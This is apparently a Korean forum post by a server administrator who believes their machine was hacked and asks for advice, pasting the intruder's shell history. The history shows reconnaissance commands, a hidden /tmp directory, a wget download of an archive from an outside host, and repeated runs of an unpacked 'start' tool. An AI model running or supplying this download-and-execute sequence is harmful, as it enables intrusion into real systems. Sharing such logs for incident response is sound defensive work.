해킹 당한 듯 합니다...

누군가가 해킹을 시도 한 것 같은데..

이럴땐 어떻게 해야 하죠?

일단... 계정삭제 하고 만들어진 파일들을

삭제하긴 했는데...

아래는 접속했던 계정 bash_history 내용입니다.

]# cat .bash_history
uname
uptime
w
passwd
cd /tmp
ls -a
mkdir .a
cd .a
wget www.parazit.eu/p/neo.tgz
tar zxvf neo.tgz
cd neo
./start 82
./start 219
./start 126
./start 127
./start 128
cd /var/tmp
ls
ls -a
cd /var/spool/samba/.a
cd /var/spool/samba
ls -a
cd /tmp
ls -a
cd .a
ls
cd neo
ls
./start 131